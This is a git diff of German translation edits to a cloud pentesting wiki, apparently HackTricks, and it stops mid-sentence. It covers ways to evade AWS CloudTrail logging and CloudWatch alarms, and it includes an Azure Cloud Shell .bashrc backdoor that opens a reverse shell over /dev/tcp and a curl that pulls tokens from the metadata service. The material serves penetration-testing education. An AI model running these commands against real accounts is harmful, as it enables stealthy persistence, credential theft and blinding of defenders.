b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index c88d3f0e6..b5efd30b3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,7 +4,7 @@ ## **CloudTrail** -AWS CloudTrail **zeichnet Aktivitäten in Ihrer AWS-Umgebung auf und überwacht sie**. Es erfasst detaillierte **Ereignisprotokolle**, einschließlich wer was, wann und von wo getan hat, für alle Interaktionen mit AWS-Ressourcen. Dies bietet eine Prüfspur von Änderungen und Aktionen, die bei der Sicherheitsanalyse, der Compliance-Prüfung und der Verfolgung von Ressourcenänderungen hilft. CloudTrail ist entscheidend für das Verständnis des Verhaltens von Benutzern und Ressourcen, die Verbesserung der Sicherheitslage und die Gewährleistung der Einhaltung von Vorschriften. +AWS CloudTrail **zeichnet Aktivitäten in Ihrer AWS-Umgebung auf und überwacht sie**. Es erfasst detaillierte **Ereignisprotokolle**, einschließlich wer was, wann und von wo getan hat, für alle Interaktionen mit AWS-Ressourcen. Dies bietet eine Prüfspur von Änderungen und Aktionen, die bei der Sicherheitsanalyse, der Compliance-Prüfung und der Verfolgung von Ressourcenänderungen hilft. CloudTrail ist entscheidend für das Verständnis des Verhaltens von Benutzern und Ressourcen, zur Verbesserung der Sicherheitslage und zur Gewährleistung der Einhaltung von Vorschriften. Jedes protokollierte Ereignis enthält: @@ -48,7 +48,7 @@ Darüber hinaus werden **Digest-Dateien (zur Überprüfung der Dateiintegrität) - Wenden Sie Berechtigungen auf den Ziel-S3-Bucket an, um den Zugriff über Konten für CloudTrail zu ermöglichen, und erlauben Sie jedem AWS-Konto, das Zugriff benötigt - Erstellen Sie einen neuen Trail in den anderen AWS-Konten und wählen Sie aus, den im Schritt 1 erstellten Bucket zu verwenden -Wenn Sie jedoch alle Protokolle im selben S3-Bucket speichern können, können Sie CloudTrail-Protokolle von mehreren Konten nicht in CloudWatch-Protokollen aggregieren, die zu einem einzelnen AWS-Konto gehören. +Wenn Sie jedoch alle Protokolle im selben S3-Bucket speichern können, können Sie CloudTrail-Protokolle von mehreren Konten nicht in CloudWatch-Protokolle aggregieren, die zu einem einzelnen AWS-Konto gehören. > [!CAUTION] > Denken Sie daran, dass ein Konto **verschiedene Trails** von CloudTrail **aktiviert** haben kann, die dieselben (oder unterschiedliche) Protokolle in verschiedenen Buckets speichern. @@ -83,23 +83,23 @@ Der CloudTrail-Ereignisverlauf ermöglicht es Ihnen, in einer Tabelle die aufgez ### Einblicke -**CloudTrail Insights** analysiert automatisch **Schreibmanagementereignisse** von CloudTrail-Tracks und **benachrichtigt** Sie über **ungewöhnliche Aktivitäten**. Wenn es beispielsweise einen Anstieg von `TerminateInstance`-Ereignissen gibt, der von festgelegten Baselines abweicht, sehen Sie dies als Insight-Ereignis. Diese Ereignisse erleichtern **das Finden und Reagieren auf ungewöhnliche API-Aktivitäten** mehr denn je. +**CloudTrail Insights** analysiert automatisch **Schreibmanagementereignisse** von CloudTrail-Tracks und **benachrichtigt** Sie über **ungewöhnliche Aktivitäten**. Wenn beispielsweise ein Anstieg der `TerminateInstance`-Ereignisse festgestellt wird, der von festgelegten Baselines abweicht, sehen Sie dies als Insight-Ereignis. Diese Ereignisse erleichtern **das Finden und Reagieren auf ungewöhnliche API-Aktivitäten** mehr denn je. Die Einblicke werden im selben Bucket wie die CloudTrail-Protokolle gespeichert: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Sicherheit - -| Integrität der CloudTrail-Protokolldatei |
  • Überprüfen, ob Protokolle manipuliert wurden (modifiziert oder gelöscht)
  • Verwendet Digest-Dateien (erstellt Hash für jede Datei)

    • SHA-256-Hashing
    • SHA-256 mit RSA für digitale Signatur
    • privater Schlüssel im Besitz von Amazon
  • Benötigt 1 Stunde, um eine Digest-Datei zu erstellen (jede Stunde zur vollen Stunde)
| -| ------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Unbefugten Zugriff stoppen |
  • Verwenden Sie IAM-Richtlinien und S3-Bucket-Richtlinien

    • Sicherheitsteam —> Administratorzugriff
    • Prüfer —> Nur-Lese-Zugriff
  • Verwenden Sie SSE-S3/SSE-KMS, um die Protokolle zu verschlüsseln
| -| Verhindern, dass Protokolldateien gelöscht werden |
  • Beschränken Sie den Löschzugriff mit IAM- und Bucket-Richtlinien
  • Konfigurieren Sie S3 MFA-Löschen
  • Überprüfen Sie mit der Protokolldatei-Validierung
| +| Kontrollname | Implementierungsdetails | +| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| Integrität der CloudTrail-Protokolldatei |
  • Überprüfen, ob Protokolle manipuliert wurden (modifiziert oder gelöscht)
  • Verwendet Digest-Dateien (erstellt Hash für jede Datei)

    • SHA-256-Hashing
    • SHA-256 mit RSA für digitale Signatur
    • privater Schlüssel im Besitz von Amazon
  • Es dauert 1 Stunde, um eine Digest-Datei zu erstellen (jede Stunde zur vollen Stunde)
| +| Unbefugten Zugriff stoppen |
  • Verwenden Sie IAM-Richtlinien und S3-Bucket-Richtlinien

    • Sicherheitsteam —> Administratorzugriff
    • Prüfer —> Nur-Lese-Zugriff
  • Verwenden Sie SSE-S3/SSE-KMS, um die Protokolle zu verschlüsseln
| +| Verhindern, dass Protokolldateien gelöscht werden |
  • Zugriff auf das Löschen mit IAM- und Bucket-Richtlinien einschränken
  • S3 MFA-Löschen konfigurieren
  • Überprüfen mit der Protokolldatei-Validierung
| ## Zugriffsberater -AWS Access Advisor stützt sich auf die letzten 400 Tage der AWS **CloudTrail-Protokolle, um seine Einblicke zu gewinnen**. CloudTrail erfasst eine Historie von AWS-API-Aufrufen und verwandten Ereignissen, die in einem AWS-Konto durchgeführt wurden. Access Advisor nutzt diese Daten, um **zu zeigen, wann Dienste zuletzt aufgerufen wurden**. Durch die Analyse der CloudTrail-Protokolle kann Access Advisor bestimmen, auf welche AWS-Dienste ein IAM-Benutzer oder eine Rolle zugegriffen hat und wann dieser Zugriff stattfand. Dies hilft AWS-Administratoren, informierte Entscheidungen über **die Verfeinerung von Berechtigungen** zu treffen, da sie Dienste identifizieren können, die über längere Zeiträume nicht aufgerufen wurden, und möglicherweise übermäßig breite Berechtigungen basierend auf realen Nutzungsmustern reduzieren können. +AWS Access Advisor stützt sich auf die letzten 400 Tage der AWS **CloudTrail-Protokolle, um seine Einblicke zu gewinnen**. CloudTrail erfasst eine Historie der AWS-API-Aufrufe und verwandten Ereignisse, die in einem AWS-Konto durchgeführt wurden. Access Advisor nutzt diese Daten, um **zu zeigen, wann Dienste zuletzt aufgerufen wurden**. Durch die Analyse der CloudTrail-Protokolle kann Access Advisor bestimmen, auf welche AWS-Dienste ein IAM-Benutzer oder eine Rolle zugegriffen hat und wann dieser Zugriff stattfand. Dies hilft AWS-Administratoren, informierte Entscheidungen über **die Verfeinerung von Berechtigungen** zu treffen, da sie Dienste identifizieren können, die über längere Zeiträume nicht aufgerufen wurden, und möglicherweise zu weitreichende Berechtigungen basierend auf realen Nutzungsmustern reduzieren können. > [!TIP] -> Daher informiert der Zugriffsberater über **die unnötigen Berechtigungen, die Benutzern erteilt werden**, sodass der Administrator sie entfernen kann +> Daher informiert Access Advisor über **die unnötigen Berechtigungen, die Benutzern erteilt werden**, damit der Administrator sie entfernen kann
@@ -124,7 +124,7 @@ aws cloudtrail get-query-results --event-data-store --query-id ) > [!CAUTION] -> Beachten Sie, dass alle öffentlichen APIs, die entdeckt wurden, keine CloudTrail-Protokolle zu erstellen, jetzt behoben sind, sodass Sie möglicherweise Ihre eigenen finden müssen... +> Beachten Sie, dass alle öffentlichen APIs, die nicht CloudTrail-Protokolle erstellen, jetzt behoben sind, sodass Sie möglicherweise Ihre eigenen finden müssen... > > Für weitere Informationen überprüfen Sie die [**originale Forschung**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). ### Zugriff auf Dritte Infrastruktur -Bestimmte AWS-Dienste werden **einige Infrastrukturen** wie **Datenbanken** oder **Kubernetes**-Cluster (EKS) **erzeugen**. Ein Benutzer, der **direkt mit diesen Diensten spricht** (wie der Kubernetes-API), **wird die AWS-API nicht verwenden**, sodass CloudTrail diese Kommunikation nicht sehen kann. +Bestimmte AWS-Dienste werden **einige Infrastrukturen** wie **Datenbanken** oder **Kubernetes**-Cluster (EKS) **erzeugen**. Ein Benutzer, der **direkt mit diesen Diensten** (wie der Kubernetes-API) **spricht, wird die AWS-API nicht verwenden**, sodass CloudTrail diese Kommunikation nicht sehen kann. -Daher könnte ein Benutzer mit Zugriff auf EKS, der die URL der EKS-API entdeckt hat, lokal ein Token generieren und **direkt mit dem API-Dienst sprechen, ohne von CloudTrail erkannt zu werden**. +Daher könnte ein Benutzer mit Zugriff auf EKS, der die URL der EKS-API entdeckt hat, ein Token lokal generieren und **direkt mit dem API-Dienst sprechen, ohne von CloudTrail erkannt zu werden**. Weitere Informationen in: @@ -228,7 +228,7 @@ aws cloudtrail stop-logging --name [trail-name] ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` -#### Protokollierung durch Ereignis-Selektoren deaktivieren +#### Deaktivieren der Protokollierung durch Ereignis-Selektoren ```bash # Leave only the ReadOnly selector aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region @@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` -Im ersten Beispiel wird ein einzelner Ereignis-Selektor als JSON-Array mit einem einzelnen Objekt bereitgestellt. Der `"ReadWriteType": "ReadOnly"` zeigt an, dass der **Ereignis-Selektor nur schreibgeschützte Ereignisse erfassen sollte** (CloudTrail-Insights **werden beispielsweise keine Schreibereignisse überprüfen**). +Im ersten Beispiel wird ein einzelner Ereignis-Selektor als JSON-Array mit einem einzelnen Objekt bereitgestellt. Der `"ReadWriteType": "ReadOnly"` zeigt an, dass der **Ereignis-Selektor nur schreibgeschützte Ereignisse erfassen sollte** (CloudTrail-Insights **werden beispielsweise keine Schreib**ereignisse überprüfen). Sie können den Ereignis-Selektor basierend auf Ihren spezifischen Anforderungen anpassen. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 9b138dd08..2a5b3a4f7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -27,13 +27,13 @@ Ein Namespace ist ein Container für CloudWatch-Metriken. Er hilft, Metriken zu ### Metriken -Metriken sind über die Zeit gesammelte Datenpunkte, die die Leistung oder Nutzung von AWS-Ressourcen darstellen. Metriken können aus AWS-Diensten, benutzerdefinierten Anwendungen oder Drittanbieter-Integrationen gesammelt werden. +Metriken sind Datenpunkte, die über die Zeit gesammelt werden und die Leistung oder Nutzung von AWS-Ressourcen darstellen. Metriken können aus AWS-Diensten, benutzerdefinierten Anwendungen oder Drittanbieter-Integrationen gesammelt werden. - **Beispiel**: CPUUtilization, NetworkIn, DiskReadOps. ### Dimensionen -Dimensionen sind Schlüssel-Wert-Paare, die Teil von Metriken sind. Sie helfen, eine Metrik eindeutig zu identifizieren und bieten zusätzlichen Kontext, wobei 30 die maximale Anzahl von Dimensionen ist, die mit einer Metrik verknüpft werden können. Dimensionen ermöglichen auch das Filtern und Aggregieren von Metriken basierend auf spezifischen Attributen. +Dimensionen sind Schlüssel-Wert-Paare, die Teil von Metriken sind. Sie helfen, eine Metrik eindeutig zu identifizieren und bieten zusätzlichen Kontext, wobei 30 die maximale Anzahl von Dimensionen ist, die mit einer Metrik verknüpft werden können. Dimensionen ermöglichen auch das Filtern und Aggregieren von Metriken basierend auf bestimmten Attributen. - **Beispiel**: Für EC2-Instanzen könnten Dimensionen InstanceId, InstanceType und AvailabilityZone umfassen. @@ -45,7 +45,7 @@ Statistiken sind mathematische Berechnungen, die auf Metrikdaten durchgeführt w ### Einheiten -Einheiten sind der Messungstyp, der mit einer Metrik verbunden ist. Einheiten helfen, Kontext und Bedeutung zu den Metrikdaten zu liefern. Zu den gängigen Einheiten gehören Prozent, Bytes, Sekunden, Anzahl. +Einheiten sind der Messungstyp, der mit einer Metrik verbunden ist. Einheiten helfen, Kontext und Bedeutung zu den Metrikdaten zu liefern. Gängige Einheiten sind Prozent, Bytes, Sekunden, Anzahl. - **Beispiel**: CPUUtilization könnte in Prozent gemessen werden, während NetworkIn in Bytes gemessen werden könnte. @@ -82,8 +82,8 @@ Einheiten sind der Messungstyp, der mit einer Metrik verbunden ist. Einheiten he **Hauptkomponenten**: - **Schwellenwert**: Der Wert, bei dem der Alarm ausgelöst wird. -- **Bewertungszeiträume**: Die Anzahl der Zeiträume, über die Daten bewertet werden. -- **Datapoints to Alarm**: Die Anzahl der Zeiträume mit einem erreichten Schwellenwert, die erforderlich sind, um den Alarm auszulösen. +- **Bewertungszeiträume**: Die Anzahl der Zeiträume, über die die Daten bewertet werden. +- **Datenpunkte zum Alarm**: Die Anzahl der Zeiträume mit einem erreichten Schwellenwert, die erforderlich sind, um den Alarm auszulösen. - **Aktionen**: Was passiert, wenn ein Alarmzustand ausgelöst wird (z. B. Benachrichtigung über SNS). **Beispielanwendung**: @@ -118,10 +118,10 @@ Einheiten sind der Messungstyp, der mit einer Metrik verbunden ist. Einheiten he Ermöglicht das **Aggregieren und Überwachen von Protokollen aus Anwendungen** und Systemen von **AWS-Diensten** (einschließlich CloudTrail) und **von Apps/Systemen** (**CloudWatch-Agent** kann auf einem Host installiert werden). Protokolle können **unbegrenzt gespeichert** werden (abhängig von den Einstellungen der Protokollgruppe) und können exportiert werden. **Elemente**: - -| **Protokollgruppe** | Eine **Sammlung von Protokollstreams**, die dieselben Aufbewahrungs-, Überwachungs- und Zugriffskontrolleinstellungen teilen | +| Begriff | Definition | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Protokollstream** | Eine Sequenz von **Protokolldaten**, die die **gleiche Quelle** teilen | +| **Protokollgruppe** | Eine **Sammlung von Protokollstreams**, die dieselben Aufbewahrungs-, Überwachungs- und Zugriffskontrolleinstellungen teilen | +| **Protokollstream** | Eine Sequenz von **Protokollereignissen**, die die **gleiche Quelle** teilen | | **Abonnementfilter** | Definieren ein **Filtermuster, das Ereignisse** in einer bestimmten Protokollgruppe übereinstimmt, senden sie an Kinesis Data Firehose-Stream, Kinesis-Stream oder eine Lambda-Funktion | ### CloudWatch-Überwachung & Ereignisse @@ -131,13 +131,13 @@ In diesem Fall kann CloudWatch bereit sein, ein Ereignis zu senden und einige au ### Agenteninstallation -Sie können Agenten in Ihren Maschinen/Containern installieren, um automatisch die Protokolle an CloudWatch zurückzusenden. +Sie können Agenten in Ihren Maschinen/Containern installieren, um die Protokolle automatisch an CloudWatch zurückzusenden. - **Erstellen** Sie eine **Rolle** und **fügen** Sie sie der **Instanz** mit Berechtigungen hinzu, die es CloudWatch ermöglichen, Daten von den Instanzen zu sammeln, zusätzlich zur Interaktion mit dem AWS Systems Manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM). - **Laden** Sie den **Agenten** herunter und **installieren** Sie ihn auf der EC2-Instanz ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Sie können ihn von innerhalb der EC2 herunterladen oder automatisch mit AWS Systems Manager installieren, indem Sie das Paket AWS-ConfigureAWSPackage auswählen. - **Konfigurieren** und **starten** Sie den CloudWatch-Agenten. -Eine Protokollgruppe hat viele Streams. Ein Stream hat viele Ereignisse. Und innerhalb jedes Streams sind die Ereignisse garantiert in der richtigen Reihenfolge. +Eine Protokollgruppe hat viele Streams. Ein Stream hat viele Ereignisse. Und innerhalb jedes Streams sind die Ereignisse in der Reihenfolge garantiert. ## Enumeration ```bash @@ -224,10 +224,10 @@ aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` -Das folgende Beispiel zeigt, wie man einen Metrikalarm unwirksam macht: +Das folgende Beispiel zeigt, wie man einen Metrik-Alarm unwirksam macht: -- Dieser Metrikalarm überwacht die durchschnittliche CPU-Auslastung einer bestimmten EC2-Instanz, bewertet die Metrik alle 300 Sekunden und erfordert 6 Bewertungsperioden (insgesamt 30 Minuten). Wenn die durchschnittliche CPU-Auslastung in mindestens 4 dieser Perioden 60 % überschreitet, wird der Alarm ausgelöst und sendet eine Benachrichtigung an das angegebene SNS-Thema. -- Durch Ändern des Schwellenwerts auf mehr als 99 %, Festlegen der Periode auf 10 Sekunden, der Bewertungsperioden auf 8640 (da 8640 Perioden von 10 Sekunden 1 Tag entsprechen) und der Datenpunkte auf Alarm ebenfalls auf 8640, wäre es erforderlich, dass die CPU-Auslastung über 99 % alle 10 Sekunden während des gesamten 24-Stunden-Zeitraums liegt, um einen Alarm auszulösen. +- Dieser Metrik-Alarm überwacht die durchschnittliche CPU-Auslastung einer bestimmten EC2-Instanz, bewertet die Metrik alle 300 Sekunden und erfordert 6 Bewertungsperioden (insgesamt 30 Minuten). Wenn die durchschnittliche CPU-Auslastung in mindestens 4 dieser Perioden 60 % überschreitet, wird der Alarm ausgelöst und sendet eine Benachrichtigung an das angegebene SNS-Thema. +- Durch die Änderung des Schwellenwerts auf mehr als 99 %, das Setzen der Periode auf 10 Sekunden, der Bewertungsperioden auf 8640 (da 8640 Perioden von 10 Sekunden 1 Tag entsprechen) und der Datapoints to Alarm auf ebenfalls 8640, wäre es erforderlich, dass die CPU-Auslastung über 99 % alle 10 Sekunden während des gesamten 24-Stunden-Zeitraums liegt, um einen Alarm auszulösen. {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -254,7 +254,7 @@ Das folgende Beispiel zeigt, wie man einen Metrikalarm unwirksam macht: ``` {{#endtab }} -{{#tab name="Modifizierte Metrik-Alarme" }} +{{#tab name="Modified Metric Alarm" }} ```json { "Namespace": "AWS/EC2", @@ -283,9 +283,9 @@ Das folgende Beispiel zeigt, wie man einen Metrikalarm unwirksam macht: ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`** -Durch das Löschen von Alarmaktionen könnte der Angreifer kritische Benachrichtigungen und automatisierte Reaktionen verhindern, die ausgelöst werden, wenn ein Alarmzustand erreicht wird, wie z.B. die Benachrichtigung von Administratoren oder das Auslösen von Auto-Scaling-Aktivitäten. Das unangemessene Aktivieren oder Wiederaktivieren von Alarmaktionen könnte ebenfalls zu unerwartetem Verhalten führen, entweder durch die Reaktivierung zuvor deaktivierter Aktionen oder durch die Änderung, welche Aktionen ausgelöst werden, was potenziell Verwirrung und Fehlleitungen bei der Vorfallreaktion verursachen könnte. +Durch das Löschen von Alarmaktionen könnte der Angreifer kritische Warnungen und automatisierte Reaktionen verhindern, die ausgelöst werden, wenn ein Alarmzustand erreicht wird, wie z. B. die Benachrichtigung von Administratoren oder das Auslösen von Auto-Scaling-Aktivitäten. Das unangemessene Aktivieren oder Wiederaktivieren von Alarmaktionen könnte ebenfalls zu unerwartetem Verhalten führen, entweder durch die Reaktivierung zuvor deaktivierter Aktionen oder durch die Änderung, welche Aktionen ausgelöst werden, was potenziell zu Verwirrung und Fehlleitungen bei der Vorfallreaktion führen könnte. -Darüber hinaus könnte ein Angreifer mit der Berechtigung Alarmzustände manipulieren, indem er falsche Alarme erstellt, um Administratoren abzulenken und zu verwirren, oder echte Alarme zum Schweigen bringt, um laufende bösartige Aktivitäten oder kritische Systemausfälle zu verbergen. +Darüber hinaus könnte ein Angreifer mit der Berechtigung Alarmzustände manipulieren, indem er falsche Alarme erstellt, um Administratoren abzulenken und zu verwirren, oder echte Alarme zum Schweigen bringt, um laufende böswillige Aktivitäten oder kritische Systemausfälle zu verbergen. - Wenn Sie **`SetAlarmState`** bei einem zusammengesetzten Alarm verwenden, ist nicht garantiert, dass der zusammengesetzte Alarm in seinen tatsächlichen Zustand zurückkehrt. Er kehrt nur dann in seinen tatsächlichen Zustand zurück, wenn einer seiner untergeordneten Alarme den Zustand ändert. Er wird auch neu bewertet, wenn Sie seine Konfiguration aktualisieren. ```bash @@ -293,7 +293,7 @@ aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` -**Potenzielle Auswirkungen**: Fehlende Benachrichtigungen für kritische Ereignisse, potenzielle unentdeckte Probleme, falsche Alarme, Unterdrückung echter Alarme und möglicherweise verpasste Erkennungen echter Vorfälle. +**Potenzielle Auswirkungen**: Fehlende Benachrichtigungen für kritische Ereignisse, potenzielle unentdeckte Probleme, falsche Alarme, Unterdrückung echter Alarme und möglicherweise verpasste Erkennungen realer Vorfälle. ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** @@ -302,7 +302,7 @@ Ein Angreifer könnte die Fähigkeit zur Erkennung und Reaktion auf ungewöhnlic aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` -Das folgende Beispiel zeigt, wie man einen Metrik-Anomalie-Detektor unwirksam macht. Dieser Metrik-Anomalie-Detektor überwacht die durchschnittliche CPU-Auslastung einer bestimmten EC2-Instanz, und allein durch das Hinzufügen des Parameters „ExcludedTimeRanges“ mit dem gewünschten Zeitbereich wäre es ausreichend, um sicherzustellen, dass der Anomalie-Detektor während dieses Zeitraums keine relevanten Daten analysiert oder warnt. +Das folgende Beispiel zeigt, wie man einen Metrik-Anomalie-Detektor unwirksam macht. Dieser Metrik-Anomalie-Detektor überwacht die durchschnittliche CPU-Auslastung einer bestimmten EC2-Instanz, und allein durch das Hinzufügen des Parameters „ExcludedTimeRanges“ mit dem gewünschten Zeitbereich wäre es ausreichend, um sicherzustellen, dass der Anomalie-Detektor während dieses Zeitraums keine relevanten Daten analysiert oder Alarm schlägt. {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} @@ -355,7 +355,7 @@ Das folgende Beispiel zeigt, wie man einen Metrik-Anomalie-Detektor unwirksam ma ### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`** -Ein Angreifer könnte die Überwachungs- und Visualisierungsfähigkeiten einer Organisation gefährden, indem er deren Dashboards erstellt, ändert oder löscht. Diese Berechtigungen könnten genutzt werden, um kritische Sichtbarkeit in die Leistung und Gesundheit von Systemen zu entfernen, Dashboards so zu ändern, dass falsche Daten angezeigt werden, oder böswillige Aktivitäten zu verbergen. +Ein Angreifer könnte die Überwachungs- und Visualisierungsfähigkeiten einer Organisation gefährden, indem er deren Dashboards erstellt, ändert oder löscht. Diese Berechtigungen könnten genutzt werden, um kritische Einblicke in die Leistung und Gesundheit von Systemen zu entfernen, Dashboards so zu ändern, dass falsche Daten angezeigt werden, oder böswillige Aktivitäten zu verbergen. ```bash aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body @@ -374,7 +374,7 @@ aws cloudwatch put-managed-insight-rules --managed-rules ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -Durch das Deaktivieren kritischer Einsichtsregeln könnte ein Angreifer die Organisation effektiv blind für wichtige Leistungs- und Sicherheitsmetriken machen. Umgekehrt könnte es durch das Aktivieren oder Konfigurieren irreführender Regeln möglich sein, falsche Daten zu erzeugen, Lärm zu erzeugen oder bösartige Aktivitäten zu verbergen. +Durch das Deaktivieren kritischer Einsichtregeln könnte ein Angreifer die Organisation effektiv blind für wichtige Leistungs- und Sicherheitsmetriken machen. Umgekehrt könnte es durch das Aktivieren oder Konfigurieren irreführender Regeln möglich sein, falsche Daten zu erzeugen, Lärm zu erzeugen oder bösartige Aktivitäten zu verbergen. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names @@ -385,17 +385,17 @@ aws cloudwatch enable-insight-rules --rule-names Ein Angreifer mit den Berechtigungen **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** wäre in der Lage, Metrikdatenströme zu erstellen und zu löschen, was die Sicherheit, Überwachung und Datenintegrität gefährdet: -- **Bösartige Streams erstellen**: Metrikstreams erstellen, um sensible Daten an unbefugte Ziele zu senden. -- **Ressourcenmanipulation**: Die Erstellung neuer Metrikstreams mit übermäßigen Daten könnte viel Lärm erzeugen, was zu falschen Alarmen führt und wahre Probleme maskiert. -- **Überwachungsstörung**: Durch das Löschen von Metrikstreams würden Angreifer den kontinuierlichen Fluss von Überwachungsdaten stören. Auf diese Weise wären ihre bösartigen Aktivitäten effektiv verborgen. +- **Böswillige Streams erstellen**: Metrikströme erstellen, um sensible Daten an unbefugte Ziele zu senden. +- **Ressourcenmanipulation**: Die Erstellung neuer Metrikströme mit übermäßigen Daten könnte viel Lärm erzeugen, was zu falschen Alarmen führt und wahre Probleme maskiert. +- **Überwachungsstörung**: Durch das Löschen von Metrikströmen würden Angreifer den kontinuierlichen Fluss von Überwachungsdaten stören. Auf diese Weise wären ihre böswilligen Aktivitäten effektiv verborgen. -Ähnlich könnte man mit der Berechtigung **`cloudwatch:PutMetricData`** Daten zu einem Metrikstream hinzufügen. Dies könnte zu einem DoS führen, aufgrund der Menge an unzulässigen Daten, die hinzugefügt werden, wodurch es völlig nutzlos wird. +Ähnlich wäre es mit der Berechtigung **`cloudwatch:PutMetricData`** möglich, Daten zu einem Metrikstrom hinzuzufügen. Dies könnte zu einem DoS führen, aufgrund der Menge an unzulässigen Daten, die hinzugefügt werden, wodurch es völlig nutzlos wird. ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format aws cloudwatch put-metric-data --namespace [--metric-data ] [--metric-name ] [--timestamp ] [--unit ] [--value ] [--dimensions ] ``` -Beispiel für das Hinzufügen von Daten, die 70 % der CPU-Auslastung über eine gegebene EC2-Instanz entsprechen: +Beispiel für das Hinzufügen von Daten, die 70% der CPU-Auslastung über eine gegebene EC2-Instanz entsprechen: ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` @@ -408,7 +408,7 @@ Ein Angreifer würde den Fluss der betroffenen Metrikdatenströme kontrollieren aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names ``` -**Potenzielle Auswirkungen**: Störung des Flusses von Überwachungsdaten, die die Erkennung von Anomalien und Vorfällen beeinträchtigt. +**Potenzielle Auswirkungen**: Störung des Flusses von Überwachungsdaten, was die Erkennung von Anomalien und Vorfällen beeinträchtigt. ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index d7bb2c2ab..9979be3df 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -10,21 +10,13 @@ Azure Cloud Shell bietet Befehlszeilenzugriff zur Verwaltung von Azure-Ressource * **Startskripte**: Dateien wie .bashrc werden automatisch zu Beginn jeder Sitzung ausgeführt, was eine persistente Ausführung beim Start der Cloud Shell ermöglicht. Beispiel-Hintertür in .bashrc: - -{% code overflow="wrap" %} ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc ``` -{% endcode %} +Diese Hintertür kann Befehle sogar 5 Minuten nach dem Abschluss der Cloud-Shell durch den Benutzer ausführen. -Dieser Backdoor kann Befehle sogar 5 Minuten nach dem Abschluss der Cloud-Shell durch den Benutzer ausführen. - -Zusätzlich Abfragen des Azure-Metadatenservices für Instanzdetails und Tokens: -{% code overflow="wrap" %} +Zusätzlich wird der Azure-Metadatendienst nach Instanzdetails und Tokens abgefragt: ```bash curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s ``` -{% endcode %} - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index 4f0ef7b2e..b78623ee5 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -10,9 +10,9 @@ Für weitere Informationen über Storage siehe: ../az-services/az-storage.md {{#endref}} -### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read +### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read` -Ein Principal mit 